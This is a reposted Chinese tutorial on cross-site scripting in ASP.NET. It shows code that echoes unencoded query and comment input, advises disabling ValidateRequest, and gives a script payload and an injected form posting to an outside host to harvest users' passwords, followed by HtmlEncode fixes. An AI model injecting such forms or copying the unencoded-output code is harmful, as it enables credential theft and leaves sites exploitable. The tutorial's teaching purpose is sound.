zoukankan      html  css  js  c++  java
  • XSS漏洞(跨站脚本)

    不要轻信用户提交上来的数据
    alert消息太难看,因此开发一个aspx页面用来统一展示消息ShowMessage.ashx

    复制代码
    //主页将判断重定向到另一个页面
    if (TextBox1.Text != "gao")
    {
        Response.Redirect("sey.aspx?Name=密码不正确!");
    }
    
    //在ShowMessage.aspx进行验证
    Label1.Text = Request["Name"];    //将Name值显示在Label1控件里面
    复制代码

    由于现在ASP.NET中以经屏蔽了查询语句里含有脚本,如 Name=<script> 是不行的需要手动关闭该功能,在 网页的 Page 里面设置 ValidateRequest="false" 停用查询语句的验证

    利用:
    http://127.0.0.1/ShowMessage.aspx?Name="hello" //将会在 Label1 里面显示hello
    也可以写入一段代码,如<script type="text/javascript">alert('你好!')</script>
    不过一定要加密,只识别加密的 http://www.hao123.com/haoserver/jmjm.htm 这里可加密解密
    也可以写入一个表单,如<form action="http://xgao.com/hehe.aspx"> 并且再设置一些文本框
    让用户输入账号,密码,这样就可以得到别人的账号密码了!

    论坛评论:
    如: File.AppendAllText("c:/11.txt",TextBox1.Text); //将用户的文章写入数据库
    Response.Write(File.ReadAllText("c:/11.txt")); //将用户的文章显示出来
    从上面可以看出,如果用户的文章里含有 <script> 没加密的,显示的时候也可执行

    解决:

    string s = File.ReadAllText("c:/11.txt");
    HttpUtility.HtmlEncode(s);); //将用户的文章转换成html编码,这样就显示的结果就是原文章
    HttpUtility.HtmlEncode(s)    //将字符串s中的< > 等特殊字符转换&gt;等成转义符
    HttpUtility.HtmlDecode(s)    //再将转换后的转换回来

    除了使用HttpUtility.HtmlDecode进行手动编码的话,还可以使用 Literal 控件显示,
    需要修改Literal的Mode属性为 Encode 那么就会自动进行 HtmlEncode 然后显示
    上面的这两个例子就是 XSS(跨站脚本, Cross-site scripting)

  • 相关阅读:
    定位公众号页面,跳转之后 vuejs 失效问题
    Java发展前景与职业方向解析
    Java中BIO,NIO,AIO的理解
    Java中最常见的十道面试题
    java策略模式
    细思极恐-你真的会写java吗?
    Java中最常见的十道面试题
    细思极恐-你真的会写java吗?
    如何突破 Java 程序员的分水岭
    35 个 Java 代码性能优化总结
  • 原文地址:https://www.cnblogs.com/yezuhui/p/6842710.html
Copyright © 2011-2022 走看看